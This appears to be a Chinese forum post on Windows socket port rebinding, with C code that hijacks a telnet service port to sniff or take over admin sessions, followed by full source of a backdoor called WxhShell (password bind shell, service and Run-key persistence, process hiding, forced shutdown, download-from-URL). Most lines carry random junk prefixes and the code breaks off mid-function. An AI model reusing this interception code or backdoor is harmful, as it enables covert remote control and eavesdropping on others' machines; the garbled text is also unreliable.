在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K[i|OZWu s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u/4|Akui G `JXi/#` saddr.sin_family = AF_INET;
2_;3B4GDF .8Gmy07 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/qO?)p3gk EXT_x q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+#g?rCz &;oWmmvz{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[X=Ot#?u ~ {1]Of'x' 这意味着什么?意味着可以进行如下的攻击:
ZTP&*+d 8(0q,7)y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G1:2MPH Qrt> vOUE7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
wvNddu>@ ceGo:Aa<) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
JS! I)F3sS45} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Fd@:*ER j?P8&Fm< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Zkn1@a >-YWq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,a?$F1Z- "e~"-B7(\Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ZYD3[" ~x OcGHMGdn #include
w1P8p>vA1 #include
r2
o-/$ #include
N;d@)h(N! #include
*27*&&=)H DWORD WINAPI ClientThread(LPVOID lpParam);
m'suAj0 int main()
6GtXM3qtS {
qlfYX8edZ WORD wVersionRequested;
olO&7jh7| DWORD ret;
0YVkq?1x9 WSADATA wsaData;
xt"GO
b BOOL val;
3re|=_
Hy SOCKADDR_IN saddr;
ZCS{D SOCKADDR_IN scaddr;
6s|4'! int err;
tL~?)2uEN SOCKET s;
JOJ?.H&su SOCKET sc;
*,d>(\&[f int caddsize;
#35@YMF HANDLE mt;
M/mUY DWORD tid;
A1(=7ZKz wVersionRequested = MAKEWORD( 2, 2 );
XK4idC err = WSAStartup( wVersionRequested, &wsaData );
G'
'l,\3 if ( err != 0 ) {
E>3fk printf("error!WSAStartup failed!\n");
&r
Lg/UEV- return -1;
l4s_9 }
jPf*qe>U saddr.sin_family = AF_INET;
fUgI*V QR;E>eEq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'Nbae-pf O[[#\BL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
s`:-6{E saddr.sin_port = htons(23);
|4s`;4c& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+]%d'h {
30v 3C7o= printf("error!socket failed!\n");
uZ(j"y return -1;
vQpR0IEf]e }
:D'#CoBA val = TRUE;
+B#3! //SO_REUSEADDR选项就是可以实现端口重绑定的
@fWmz,Ngl if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
UR&Uwa&. {
c~+;P(> printf("error!setsockopt failed!\n");
U,4:yc,)s return -1;
a}+7MEUmZ/ }
=@d IM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3+2&@:$t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
n)7olP0p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1&@s2ee4
6KD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
jWd 7 >1R? {
L27i_4E, ret=GetLastError();
"38ya2* printf("error!bind failed!\n");
.V?i 3 return -1;
m1k+u)7kD }
FV&& listen(s,2);
.Qp 5wCkM while(1)
%:eepG| {
|*im$[g=- caddsize = sizeof(scaddr);
e'c~;Z\A //接受连接请求
FN&.PdRT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U>z8gdzu if(sc!=INVALID_SOCKET)
pA*cF!tq7 {
/f9jLY+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@i9T),@ if(mt==NULL)
0vs9# <&V {
E:N~c'k printf("Thread Creat Failed!\n");
_tg&_P+kV break;
MU^7(s=" }
U'nz3 }
K bY5
qou CloseHandle(mt);
`R]9+_"N }
UpgY}pf} closesocket(s);
rZDlPp>BPZ WSACleanup();
%/:{x()G
return 0;
Z%Nl<i }
L!7*U.+ DWORD WINAPI ClientThread(LPVOID lpParam)
qF{u+Ms {
8}0W_C U, SOCKET ss = (SOCKET)lpParam;
!Q`GA<ikv SOCKET sc;
J>P{8Aw unsigned char buf[4096];
n:GK0wu.s
SOCKADDR_IN saddr;
I-NzGx2u long num;
PF-7AIxs" DWORD val;
4425,AR DWORD ret;
i51~/
R //如果是隐藏端口应用的话,可以在此处加一些判断
&P%3'c}G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vv
_I o saddr.sin_family = AF_INET;
1FS Jqad saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\k1psqw^O saddr.sin_port = htons(23);
J(0.eD91v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h$p]#]uMb {
H[guJ)4#@ printf("error!socket failed!\n");
i6zfr|`@ return -1;
e`#c[lbAAM }
Y?2I
/ val = 100;
M`ETH8Su= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
nBGFa {
bmotR8d ret = GetLastError();
cbl2D5s+i] return -1;
*]fBd<(8 }
Vt:]D?\3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-y{o@ {
yAoJ?<4^W ret = GetLastError();
[0D( PV(n return -1;
KDW%*%! }
8H3|i7.1h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
xT I&X9P {
0A@'w*= printf("error!socket connect failed!\n");
5B!l6ST closesocket(sc);
BF2,E<^A closesocket(ss);
Dx =ms^oN5 return -1;
7z"xjA }
{T
Z7>k while(1)
V+X>t7.Q {
2JZf@x+} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
;}{%|UAsx //如果是嗅探内容的话,可以再此处进行内容分析和记录
V?v,q'? $ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
C`3}7qi|C num = recv(ss,buf,4096,0);
2/qP:3) if(num>0)
"#2z
'J send(sc,buf,num,0);
S*6P=O* else if(num==0)
1Tf"<Dp break;
pGz-5afL num = recv(sc,buf,4096,0);
sB
]~=vUP if(num>0)
kC"<4U send(ss,buf,num,0);
Uu{I4ls6B else if(num==0)
6)m}e?D> break;
t5#IiPp }
o`HZS|>K* closesocket(ss);
OS6 l*S(' closesocket(sc);
8*3<Erv return 0 ;
l [?o du4 }
]:JoGGE a0 ]S4kWq{ Y ~AxA , ==========================================================
gvO}u 2.: :3$WY< 下边附上一个代码,,WXhSHELL
[!4p5; rIg1]q ==========================================================
rG1l:Z) Y@N}XH<4R #include "stdafx.h"
(7q!Z!2 ;wIpch e #include <stdio.h>
y]aV7
`] #include <string.h>
q-gN0"z^6$ #include <windows.h>
bR6.Xdt.n #include <winsock2.h>
@Hj5ZJ
3 #include <winsvc.h>
1+RG@Cp #include <urlmon.h>
2e zQX2q 5BCXI8Ox9x #pragma comment (lib, "Ws2_32.lib")
hex:e2x #pragma comment (lib, "urlmon.lib")
W[[3'J TF D)XF@z; #define MAX_USER 100 // 最大客户端连接数
o ^L3Xiv #define BUF_SOCK 200 // sock buffer
XP<wHh #define KEY_BUFF 255 // 输入 buffer
>S3iP?V7 Zf}]sW$H #define REBOOT 0 // 重启
[op!:K0 #define SHUTDOWN 1 // 关机
eD/O)X :}0y[qc3 #define DEF_PORT 5000 // 监听端口
r k;k:<c ^AK<]r<?L? #define REG_LEN 16 // 注册表键长度
WY#A9i5Ge #define SVC_LEN 80 // NT服务名长度
XeDiiI Vu0jNKUV // 从dll定义API
C
Fq3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N"/jn_>+j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$Zp\^cIE+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z9pv| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
blNJ )#zc$D^U // wxhshell配置信息
cS/\&%7u struct WSCFG {
x2/\%!mt int ws_port; // 监听端口
a}ogNx char ws_passstr[REG_LEN]; // 口令
&U ]L@]x int ws_autoins; // 安装标记, 1=yes 0=no
xtYX}u char ws_regname[REG_LEN]; // 注册表键名
fEE[huG char ws_svcname[REG_LEN]; // 服务名
[ !/u, char ws_svcdisp[SVC_LEN]; // 服务显示名
4%1sOnl char ws_svcdesc[SVC_LEN]; // 服务描述信息
hIu;\dfwk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N|5J-fR& int ws_downexe; // 下载执行标记, 1=yes 0=no
H=[eO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#z_lBg. K char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>&3M
#s(w JsI`# };
m07=
_4 yKF"\^`@ // default Wxhshell configuration
Yo3my>N&g struct WSCFG wscfg={DEF_PORT,
Cqy84!Z< "xuhuanlingzhe",
ms8de>A|H 1,
C-lv=FJEk/ "Wxhshell",
;75K:_ "Wxhshell",
o<bZ. t "WxhShell Service",
`"zXf -qeE "Wrsky Windows CmdShell Service",
GZ,`? "Please Input Your Password: ",
~wf&78 1,
8R"c}87 "
http://www.wrsky.com/wxhshell.exe",
hdt;_qa "Wxhshell.exe"
9`Bmop };
nI.K|hU:P ;QkUW<( // 消息定义模块
"n3r, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=B@+[b0Z char *msg_ws_prompt="\n\r? for help\n\r#>";
P_6oMR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z8*E-y0 char *msg_ws_ext="\n\rExit.";
Aon3G char *msg_ws_end="\n\rQuit.";
P*Va<'{:{ char *msg_ws_boot="\n\rReboot...";
LgXc}3 char *msg_ws_poff="\n\rShutdown...";
TeaP\a char *msg_ws_down="\n\rSave to ";
pA7& UIgs/ char *msg_ws_err="\n\rErr!";
"1|n]0BF char *msg_ws_ok="\n\rOK!";
,Bax0p tIfA]pE char ExeFile[MAX_PATH];
3*x_S"h int nUser = 0;
")m0{ HANDLE handles[MAX_USER];
p&dpDJ?d:= int OsIsNt;
VWf&F`^B( 9` SERVICE_STATUS serviceStatus;
NQ~keN SERVICE_STATUS_HANDLE hServiceStatusHandle;
5e=9~].7 Hy=';Ccn} // 函数声明
V
.+ mK|) int Install(void);
4H'\nsM int Uninstall(void);
x9Um4!/t int DownloadFile(char *sURL, SOCKET wsh);
l# u$w& int Boot(int flag);
xa#;<8 iV void HideProc(void);
XE8>&&X int GetOsVer(void);
y,'M3GGl int Wxhshell(SOCKET wsl);
`L# pN5 void TalkWithClient(void *cs);
KBJ%$OQV int CmdShell(SOCKET sock);
ScOiOz:Ha int StartFromService(void);
|8^53*f ? int StartWxhshell(LPSTR lpCmdLine);
2GeJ\1k art
L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
LkYcAY$w VOID WINAPI NTServiceHandler( DWORD fdwControl );
|j:"n3~6 (%.[MilxPM // 数据结构和表定义
$Y'}wB{pc SERVICE_TABLE_ENTRY DispatchTable[] =
F6XrJ?JM {
7[=*#7}. {wscfg.ws_svcname, NTServiceMain},
e$kBpG"D {NULL, NULL}
c"HB7 };
'w//d
$+G_ ou8V7 // 自我安装
Ai>=n; int Install(void)
iQs^2z#Bd {
&w15GO;4 char svExeFile[MAX_PATH];
I)7STzlMj. HKEY key;
b>g&Pf#N! strcpy(svExeFile,ExeFile);
xE>H:YPm Y$JGpeq8w // 如果是win9x系统,修改注册表设为自启动
4z6i{n-k if(!OsIsNt) {
_v=S4A#tF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k*XI/k5Vc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z*uv~0a>9Q RegCloseKey(key);
I_hus if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z[9)
hGh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_yx~t RegCloseKey(key);
o>4mkh[3 return 0;
0F48T<i }
Aw?i6d }
GZ=7)eJ~< }
mQL8ec_c else {
WXq=FZ- FTu6%~M/ // 如果是NT以上系统,安装为系统服务
G-7!|& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
8w4-Ud*$i if (schSCManager!=0)
T0HNld {
@nWhUH% SC_HANDLE schService = CreateService
/Z3 Mlm{ (
/%&Kbd schSCManager,
HKB?G~ wscfg.ws_svcname,
q|7i6jq\*R wscfg.ws_svcdisp,
zEM c) SERVICE_ALL_ACCESS,
{L6@d1u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
b0VEMu81k SERVICE_AUTO_START,
t)qu@m?FZ) SERVICE_ERROR_NORMAL,
HpLCOY1- svExeFile,
9j94]w2v NULL,
-9PJ4"H NULL,
K Eda6zZH NULL,
I:|<};mm NULL,
Fw{:fFZC[ NULL
h@kq>no );
WZ@hP'Zc if (schService!=0)
2uSXC*Phz {
c/Dk*.xy< CloseServiceHandle(schService);
O$eNG$7 CloseServiceHandle(schSCManager);
\_vjc]? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a7Mn/ i. strcat(svExeFile,wscfg.ws_svcname);
"FD`1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\p4>onGI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=Ff _)k
RegCloseKey(key);
ZYS`M?Au return 0;
bm>N~DC }
{UeS_O>( }
lIhP\:;S& CloseServiceHandle(schSCManager);
g49G7sk }
!l6Ez_' }
W(4Mvd y
-6{>P/ return 1;
k2 _i;v }
cePe0\\ 6
4,('+ // 自我卸载
oMNt676 int Uninstall(void)
!k3 eUBF {
cy-o@U"s8 HKEY key;
UWXl
c 02$d if(!OsIsNt) {
q"@>rU4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@1w[~QlV RegDeleteValue(key,wscfg.ws_regname);
z@<OR$/`L RegCloseKey(key);
u+7S/9q8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
REg&[e+% RegDeleteValue(key,wscfg.ws_regname);
n[KL Y! RegCloseKey(key);
bmzY^ %a return 0;
IgIM8"N }
.IU\wN }
PtTL
tiE~ }
}/bxe0px else {
1agNwFd~ )5[OG7/g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
c80Ffq if (schSCManager!=0)
gf ?_tB0C {
ROhhd. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
H 8x66} if (schService!=0)
$xU)t&Df {
?S<`*O
+ if(DeleteService(schService)!=0) {
MvKr~ CloseServiceHandle(schService);
=vs]Kmm CloseServiceHandle(schSCManager);
/2f return 0;
RVN;j4uMg }
>d3`\(v- CloseServiceHandle(schService);
WR"?j9y_q }
41v#|%\w CloseServiceHandle(schSCManager);
1j*E/L }
y3 "+4e }
5La' I7q `nCVO;B return 1;
EJW}&e/ }
4{QD: D(D >Jk]=_% // 从指定url下载文件
^O3i)GO int DownloadFile(char *sURL, SOCKET wsh)
p:NIRs {
|yinV fZ0C HRESULT hr;
j.ZXLe~ char seps[]= "/";
\
z3>kvk char *token;
^~1Z"kAnT char *file;
s'^sT=b char myURL[MAX_PATH];
7>V*gV?v char myFILE[MAX_PATH];
zCdcwTe 4 KX\'K strcpy(myURL,sURL);
4aiI&, token=strtok(myURL,seps);
*e25!#o1 while(token!=NULL)
qKD
Nw8> {
NmA6L+ file=token;
9i46u20 token=strtok(NULL,seps);
Z8ds`KZM }
*.6m,QqJ( h0&Oy52
GetCurrentDirectory(MAX_PATH,myFILE);
._q}lWT strcat(myFILE, "\\");
h e[2, strcat(myFILE, file);
/o^/J~/3 send(wsh,myFILE,strlen(myFILE),0);
_+9o'<#u( send(wsh,"...",3,0);
>}E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G3o `\4p if(hr==S_OK)
?J@P0(M# return 0;
7Ucq(,\./ else
&Nw[J5-"k return 1;
+O)Y7k{?C5 ?="?)t[ }
ZY|$[>X! W)<t7q+ // 系统电源模块
Bm5\*Xd1( int Boot(int flag)
4-?zW {
^kK% 8 u HANDLE hToken;
OH 13@k TOKEN_PRIVILEGES tkp;
8shx7" B|"-Ed if(OsIsNt) {
[pC2#_} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
W2&(:C8V@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\30rF]F`l tkp.PrivilegeCount = 1;
N /zP!%L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f@ILC=c< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,u=+%6b)A if(flag==REBOOT) {
P*]hXm85[K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
A">R-1R return 0;
P]O=K }
^ X-6j[". else {
P Ij if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?vfZ>7Q return 0;
Am|)\/K+Z }
c,:nWf }
p^1~o/ else {
@qSZ= if(flag==REBOOT) {
/E!N:g< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7h.fT` return 0;
0DFVB%JdI }
DKF`
xuJP else {
[$c"}=g[+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&`,Y/Cbw return 0;
@*E=O | }
Sf*gAwnW }
7&dK_x,a 6!se,SCvw return 1;
-ykD/ }
*,zrg%8 e{H( // win9x进程隐藏模块
n]6-`fpD void HideProc(void)
#-o 'g! {
T!I3. + KaVvf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
g4y&6!g
if ( hKernel != NULL )
dQz#&&s-
{
TPs
]n7]: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!;4Hh)2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<I#M^}` FreeLibrary(hKernel);
+`iJ+ }
((&5F!+\- dUUg}/ return;
'
&3,qT }
wD:2sri :cf#Tpq" // 获取操作系统版本
r@}8TE*|P int GetOsVer(void)
FU(2,Vl {
PuhvJHT OSVERSIONINFO winfo;
Z6-ZAS(>m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
M!D6i5k, GetVersionEx(&winfo);
gWL`J=DiU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:G#+5 } return 1;
cvQAo| else
fwiP3*j+Nn return 0;
K { FZ/ }
|+KwyHE`9 ?\)h2oi!F5 // 客户端句柄模块
w IP4Z^ int Wxhshell(SOCKET wsl)
"%b Gwv {
2m"cK^ SOCKET wsh;
pSI8"GwQ struct sockaddr_in client;
(AX$Svw DWORD myID;
uQ&> Wk ` Z/ MQ while(nUser<MAX_USER)
e0#t {
'tDUPm38 int nSize=sizeof(client);
_''un3eCY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/\;m/cwrl" if(wsh==INVALID_SOCKET) return 1;
MMUlA$*t l|{[vZpT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Pf/8tXs} if(handles[nUser]==0)
xQ2:tY#? closesocket(wsh);
:wN!E{0j else
1Vx5tOq nUser++;
D1$ER> }
~L>86/hP,N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0m=57c$O n @,. return 0;
CxNxb)c & }
X#
/c7w- rLE+t(x(0 // 关闭 socket
##}7cFX void CloseIt(SOCKET wsh)
A2;6Vz=z {
G')zDx closesocket(wsh);
}'fa f{W nUser--;
ktS^^!,l% ExitThread(0);
~A1!!rJX }
aj,o<J 1;DRcVyS+ // 客户端请求句柄
V#b=mp void TalkWithClient(void *cs)
Z zjCS2U
{
2wDDVUwy B + ~5P7dh6 SOCKET wsh=(SOCKET)cs;
nI&p.i6 char pwd[SVC_LEN];
U$<"
.q char cmd[KEY_BUFF];
&r~s3S{pQ char chr[1];
QQ_7Q^ int i,j;
2P)O
0j\/ h5pfmN\-5 while (nUser < MAX_USER) {
sei2\l8q PEm2w#X%L if(wscfg.ws_passstr) {
u1Slu%^e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R&BWCC{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D,R',(3 //ZeroMemory(pwd,KEY_BUFF);
Wy*+8~@A i=0;
dgIH`<U$ while(i<SVC_LEN) {
9X%:
){ 0?(uqjD: // 设置超时
#r]Z2Y] fd_set FdRead;
.)_2AoT7[ struct timeval TimeOut;
~#jiX6<I FD_ZERO(&FdRead);
h6OQeZ. FD_SET(wsh,&FdRead);
]@ke_'
" TimeOut.tv_sec=8;
i;U*Y
*f TimeOut.tv_usec=0;
"M!m-] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\@WVeFr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dS3\P5D.*c 1+WVh7gF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
i>]PW|]
pwd
=chr[0]; `}KxzD
if(chr[0]==0xd || chr[0]==0xa) { w/(c}%v}=
pwd=0; Q$:Q6/5.
break; J{-`&I'b
} 11YJW-V
i++; KYtCN+vsG
} '?mF,Co{
DyCzRkH
// 如果是非法用户,关闭 socket R y#C#0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hz."4nhv
} Kx&"9g$
4xr^4\lk
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Su"Z3gm5Kw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Dgs
A`{$
"C\yM{JZ
while(1) { X-_VuM_p
l>b'b e9
ZeroMemory(cmd,KEY_BUFF); .=TXi<8Brw
\20}/&
// 自动支持客户端 telnet标准 "mQcc}8
j=0; :;yrYAyT3
while(j<KEY_BUFF) { }O>1tauI
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kx?Yin8K
cmd[j]=chr[0]; MO0NNVVi%U
if(chr[0]==0xa || chr[0]==0xd) { Y`(Ri-U4
cmd[j]=0; u*;H$&
break; Wm`*IBWA
} p\&/m
j++; #`
gu<xlW
} Xi) ;dcNJ
rMi\#[oB
// 下载文件 GRbbU#/=G
if(strstr(cmd,"http://")) { qar{*>LCG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ){w{#
if(DownloadFile(cmd,wsh)) gqy>;A:kO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fc8ODk*;E
else k|?[EWIi^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3&7? eO7*
} VGD~) z57
else { *oz#YGNm
7=^}{
switch(cmd[0]) { k[ z yR
o]Ne|PEpO
// 帮助 Y;_F ,4H
case '?': { T@U,<[,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BJWlx*U]
break; 9!Q ZuZY
} (k #xF"yI
// 安装 t^"8M6BqC;
case 'i': { ~Jr'4%
if(Install()) aH?Ygzw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_<zrXc]
else X+N5iT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GZu12\0nZ
break; |<h}'
} $V!.z%Vgf
// 卸载 XV]xym~
case 'r': { 7;AK=;
if(Uninstall()) I V#8W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UtTlJb{-j
else CU\gx*=E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {%u^O/M
break; j67ppt
} ah,f~.X_|
// 显示 wxhshell 所在路径 $M,<=.oT
case 'p': { SDO:Gma
char svExeFile[MAX_PATH]; 'LPyh ;!f
strcpy(svExeFile,"\n\r"); te-xhJ&K
strcat(svExeFile,ExeFile);
+] ;WN
send(wsh,svExeFile,strlen(svExeFile),0); 6`Tx meIP
break; 3=sBe HL
} k+-?b(z)$
// 重启 {c9 fv H
case 'b': { zgEN2d
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0a{hCx|$J
if(Boot(REBOOT)) 7`J2/(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n'V{
else { o/o6|[=3
closesocket(wsh); :G@z?ZJ[
ExitThread(0); vRC >=y*=
} &lSNI5l
break; ,4t6Cq!
} s0;a j<J
// 关机 6_KvS
case 'd': { {:!>Y1w>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gR# k'
if(Boot(SHUTDOWN)) M9R'ONYAa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g{6jN
else { oio{@#DX`
closesocket(wsh); iko>G
ExitThread(0); A)"L+Yu5
} Dh2Cj-|
~
break; U52V1b
} v:4j3J$z
// 获取shell ; >H1A
case 's': { -`XS2
CmdShell(wsh); O)vGIp?f't
closesocket(wsh); L5I!YP#v
ExitThread(0); +S0aA Wal
break; _|I8+(~)
} ["Ts7;q9[
// 退出 {Z8GG
case 'x': { U MRFTwY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lL:!d.{
CloseIt(wsh); lb'tVO
break; C_Q3^mLx
} A_S7z*T
// 离开 gjG SI'M0B
case 'q': { $3 -QM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Any y
closesocket(wsh); {guOAT-w
WSACleanup(); &mVClq
exit(1); e`g+Jf`AT
break; y@~ VE5N
} G4SA
u
} G7" (,L` 5
} stajTN*J
N? Jy
// 提示信息 3#t#NW*e
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EOu[X'gLr
} ) dk|S\
} 9!X3Cv|+L
uOzoE_i
return; G8+&fn6
} G3^<l0?S
>eG<N@13p
// shell模块句柄 v2rO>NY4
int CmdShell(SOCKET sock) K:'^f? P
{ 85G-`T
STARTUPINFO si; (+(@P*c1
ZeroMemory(&si,sizeof(si)); ?ld&}|W~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oMg-.!6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gl'G;F$Y-
PROCESS_INFORMATION ProcessInfo; W/BPf{U
char cmdline[]="cmd"; b_nE4>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :5CyR3P
return 0; o-H?q!
} v%T'!(0j/
a r8iuwfZ
// 自身启动模式 E& 6I`8
int StartFromService(void) z7IJSj1gQI
{ xD&n'M]
typedef struct ;G8H'gM07
{ .o`Io[io
DWORD ExitStatus; RVm-0[m}
DWORD PebBaseAddress; 2mzn{S)nV
DWORD AffinityMask; P05`DX}r,
DWORD BasePriority; -V{"Lzrfug
